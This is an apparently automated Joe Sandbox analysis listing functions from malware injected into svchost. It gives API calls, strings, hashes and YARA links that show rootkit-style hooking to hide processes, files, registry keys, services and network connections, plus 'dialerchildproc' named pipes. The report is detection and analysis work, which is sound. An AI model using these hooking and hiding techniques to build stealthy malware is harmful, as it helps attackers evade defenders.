Instruction Fuzzy Hash: 2F711736358F1486EB15DF22FC5BB9963B4FB88B8AF001561EA4E47A68DF38C444C358

Function 00000257E10A328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000257E10A32AE
PathFindFileNameW.SHLWAPI ref: 00000257E10A32BD

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

Part of subcall function 00000257E10A3790: GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

CreateThread.KERNEL32 ref: 00000257E10A330B

Part of subcall function 00000257E10A1D14: GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: aade9cdc764c3959dde9a52c1c94ad6719753b48d41f7c1d1db878778cbbdd05
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A411F93269CF008AFB6EA761FC0F79E2294B7A4347F4081A5D906496D0EF7CC044C62C

Function 00000257E10A1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000257E10A1628: GetProcessHeap.KERNEL32 ref: 00000257E10A1633
Part of subcall function 00000257E10A1628: HeapAlloc.KERNEL32 ref: 00000257E10A1642
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1734
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A176F
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA

Sleep.KERNEL32 ref: 00000257E10A1AD7
SleepEx.KERNELBASE ref: 00000257E10A1ADD

Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1820
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A185B
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1896
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: d712d7bd41ce4f32cb42d1788969e2e1ab98e8c502d066c5c5fdd1db537eb6f4
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 9F31F871298F4582FF5E9726FE4B3E923A4AB44BC2F0858615E0987695FF34C451C228

Function 00000257E107273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000257E107285E

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: e1821c6af69327561f239fb501c7fdcfb84665abf8bb743926d129d5342e2f1a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 4E617572B49B9087DB5AEF14E80B73DB3A2F744BE5F188161DE4903788CA78D852C704

Non-executed Functions

Function 00000257E10A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000257E10A2BD0
lstrlenW.KERNEL32 ref: 00000257E10A2E0A

Part of subcall function 00000257E10A199C: OpenProcess.KERNEL32 ref: 00000257E10A19C2
Part of subcall function 00000257E10A199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
Part of subcall function 00000257E10A199C: PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
Part of subcall function 00000257E10A199C: lstrlenW.KERNEL32 ref: 00000257E10A19FB
Part of subcall function 00000257E10A199C: StrCpyW.SHLWAPI ref: 00000257E10A1A0E
Part of subcall function 00000257E10A199C: CloseHandle.KERNEL32 ref: 00000257E10A1A1C

GetProcAddress.KERNEL32 ref: 00000257E10A2BE5

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

StrCmpNIW.SHLWAPI ref: 00000257E10A2C28
lstrlenW.KERNEL32 ref: 00000257E10A2D50

Strings

NtQueryObject, xrefs: 00000257E10A2BDB
\Device\Nsi, xrefs: 00000257E10A2C1B
ntdll.dll, xrefs: 00000257E10A2BC9

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: a05134c9a34ff4c1d66afd38e5ef54d71b3b96099cc726008d15654598d14383
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 3BB1D032258F5482EB6EDF25EC4B7A963A5F744B86F0450A6EE0953B95DF34CC80C398

Function 00000257E10A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000257E10A7DAC
RtlCaptureContext.NTDLL ref: 00000257E10A7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000257E10A7DF3
RtlVirtualUnwind.NTDLL ref: 00000257E10A7E34
IsDebuggerPresent.KERNEL32 ref: 00000257E10A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EB4

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 219ced55679ac893985f66a80f0dbd7178f5651cf27174fbf386b8ec505e6a56
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 29314A72249F808AEB65DF60F8867EE7360F784745F44802ADA4E57B98EF38C648C714

Function 00000257E10AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000257E10AD31D
RtlLookupFunctionEntry.NTDLL ref: 00000257E10AD335
RtlVirtualUnwind.NTDLL ref: 00000257E10AD370
IsDebuggerPresent.KERNEL32 ref: 00000257E10AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3BE

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 3bbfa850ad8dbd0e4a6fa2243018912ee9c80721fc4e2599e2c74e45bb328308
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 1531AD32258F8086EB69CF25FC467AE73A0F789755F504166EA9D43B98EF38C145CB04

Function 00000257E10A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
GetProcessHeap.KERNEL32 ref: 00000257E10A1327
HeapAlloc.KERNEL32 ref: 00000257E10A1338
RegEnumValueW.ADVAPI32 ref: 00000257E10A1397

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
HeapAlloc.KERNEL32 ref: 00000257E10A13ED
GetProcessHeap.KERNEL32 ref: 00000257E10A140A
HeapFree.KERNEL32 ref: 00000257E10A1418
lstrlenW.KERNEL32 ref: 00000257E10A1421
GetProcessHeap.KERNEL32 ref: 00000257E10A142F
HeapAlloc.KERNEL32 ref: 00000257E10A143D
StrCpyW.SHLWAPI ref: 00000257E10A145F
GetProcessHeap.KERNEL32 ref: 00000257E10A1476
HeapFree.KERNEL32 ref: 00000257E10A1484

Strings

d, xrefs: 00000257E10A135A

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eced55502f1a75a026b6edf846e6a0891afcc2511a2fde73ec7a25957e053ce4
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 39517C32248F8486EB59CF66F84A75A77A1F389F8AF088524DE5907718DF3CC049C704

Function 00000257E10A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Part of subcall function 00000257E10A1FD4: GetModuleHandleA.KERNEL32 ref: 00000257E10A1FEC
Part of subcall function 00000257E10A1FD4: GetProcAddress.KERNEL32 ref: 00000257E10A1FFD

Part of subcall function 00000257E10A5B30: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B

Strings

NtEnumerateKey, xrefs: 00000257E10A1DB9
EnumServicesStatusExW, xrefs: 00000257E10A1E11, 00000257E10A1E32
NtQuerySystemInformation, xrefs: 00000257E10A1D45
NtQueryDirectoryFileEx, xrefs: 00000257E10A1D9C
sechost.dll, xrefs: 00000257E10A1E39
NtDeviceIoControlFile, xrefs: 00000257E10A1E56
advapi32.dll, xrefs: 00000257E10A1DF7, 00000257E10A1E18
NtResumeThread, xrefs: 00000257E10A1D62
NtQueryDirectoryFile, xrefs: 00000257E10A1D7F
ntdll.dll, xrefs: 00000257E10A1D2D
EnumServiceGroupW, xrefs: 00000257E10A1DF0
NtEnumerateValueKey, xrefs: 00000257E10A1DD6

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 729b3f40a99a6114c8675349f500bf02ad9969b64215182506dd6b7d13de966c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 6C319574298F4AE1EA0FEFA5FCABBD46325B75434BF8054A3940902576DF3C8249C768

Function 00000257E1076910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E1076938
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E107698A
_RTC_Initialize.LIBCMT ref: 00000257E10769B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10769DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E1076A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 00000257E10769EE
`dynamic initializer for ', xrefs: 00000257E10769C7
`eh vector copy constructor iterator', xrefs: 00000257E1076A3B
scriptor', xrefs: 00000257E1076B39, 00000257E1076BB2, 00000257E1076BEC

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: c413f792152c6e77bcdec011d4ce604bdbff46f8c7e2d41a41648d6f97dd56db
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7481476178CF0586F65FBB2ABC4F3B922D0E785782F5480A49A2647797DB38C8458B0C

Function 00000257E10ACE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000257E10ACE37
FlsGetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE4C
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE6D
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE9A
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEAB
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEBC
SetLastError.KERNEL32 ref: 00000257E10ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF0D
FlsSetValue.KERNEL32(?,?,00000001,00000257E10AECCC,?,?,?,?,00000257E10ABF9F,?,?,?,?,?,00000257E10A7AB0), ref: 00000257E10ACF2C

Part of subcall function 00000257E10AD6CC: HeapAlloc.KERNEL32 ref: 00000257E10AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF54

Part of subcall function 00000257E10AD744: HeapFree.KERNEL32 ref: 00000257E10AD75A
Part of subcall function 00000257E10AD744: GetLastError.KERNEL32 ref: 00000257E10AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF76

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 44b74c0836ad876a2fac46d0e824247e53a8591ac7bd446e8d08f2f1267c89cf
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3D4182703CDF4441FAAFA7357E5F3AD22815B447B2F6547A4A936066D6DE38C401872C

Function 00000257E10A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000257E10A2259
GetCurrentProcessId.KERNEL32 ref: 00000257E10A2263

Part of subcall function 00000257E10A1934: OpenProcess.KERNEL32 ref: 00000257E10A1952
Part of subcall function 00000257E10A1934: IsWow64Process.KERNEL32 ref: 00000257E10A1968
Part of subcall function 00000257E10A1934: CloseHandle.KERNEL32 ref: 00000257E10A1983

CreateFileW.KERNEL32 ref: 00000257E10A22BC
WriteFile.KERNEL32 ref: 00000257E10A22E4
ReadFile.KERNEL32 ref: 00000257E10A2303
CloseHandle.KERNEL32 ref: 00000257E10A230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000257E10A2293
\\.\pipe\dialerchildproc64, xrefs: 00000257E10A228C

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: fd144254930c9193e2e316754b6910d439631fa1b8b54bcb3ad30ea55ac0c1ae
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: DB214F32658F4082FB19CB25F84A75A73A0F789BA6F504255EA6903BA8CF3CC149CF04

Function 00000257E1079944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10799A1

Part of subcall function 00000257E107A814: __GetUnwindTryBlock.LIBCMT ref: 00000257E107A857
Part of subcall function 00000257E107A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E107A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E1079A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E1079CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E1079DDA

Strings

csm, xrefs: 00000257E1079A9C
csm, xrefs: 00000257E1079A22
csm, xrefs: 00000257E10799BB

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: eee8ddbebd137ff77ed4dfc8451c6d54f91bdde69a51e284d5195fa703101059
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: FFE1E472648F408AEB6AFF65E88B3AD37B0F7457A9F000156EE4A57B55CB34C490C704

Function 00000257E10AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10AA5A1

Part of subcall function 00000257E10AB414: __GetUnwindTryBlock.LIBCMT ref: 00000257E10AB457
Part of subcall function 00000257E10AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E10AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E10AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E10AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E10AA9DA

Strings

csm, xrefs: 00000257E10AA5BB
csm, xrefs: 00000257E10AA69C
csm, xrefs: 00000257E10AA622

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fa66f7741ebcd80bb86e54b7b1d1724f64a0d38ed48e78e569a20c50e363ff0f
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 46E1E572648F40CAEB6ADF65E84B39D77A0F748B99F100155EE8957B95CF34C081C714

Function 00000257E10AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000257E10AF510
GetProcAddress.KERNEL32 ref: 00000257E10AF51C

Strings

ext-ms-, xrefs: 00000257E10AF46D
api-ms-, xrefs: 00000257E10AF45A

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: cf054b1d2baf678fe8bdec6d8eaa147d53923dc8430d7e3ded5bb42e28665e5b
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2741C632399F0091FA1FDB16BC0B79A2391B745BE1F5942659D1E87784EF3CC4458328

Function 00000257E10A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A10B1
RegEnumValueW.ADVAPI32 ref: 00000257E10A1117
GetProcessHeap.KERNEL32 ref: 00000257E10A115A
HeapAlloc.KERNEL32 ref: 00000257E10A1168
GetProcessHeap.KERNEL32 ref: 00000257E10A1185
HeapFree.KERNEL32 ref: 00000257E10A1193

Strings

d, xrefs: 00000257E10A10D6

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9cf63d37dc8258112caa738864d3c548755d6f27b2a305309498d83b3183a8b3
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 27419F73218F84C6E765CF21F84A79E77A1F388B89F048129EA8907B58DF38D449CB14

Function 00000257E10AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD087
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0A6
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0CE
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0DF
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0F0

Strings

1%, xrefs: 00000257E10AD0CE
Y%, xrefs: 00000257E10AD0A6

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 3937cb81b8b0f971906db0413d64368154e2d1c9df82cae5cad0a14440eaf12d
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C2118E707CCB8041FA6EA7357D5F36D71416B483F2F2443A4B93A066EADE78D4028728

Function 00000257E10A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E10A7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E10A758A
_RTC_Initialize.LIBCMT ref: 00000257E10A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10A75DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E10A7609

Memory Dump Source

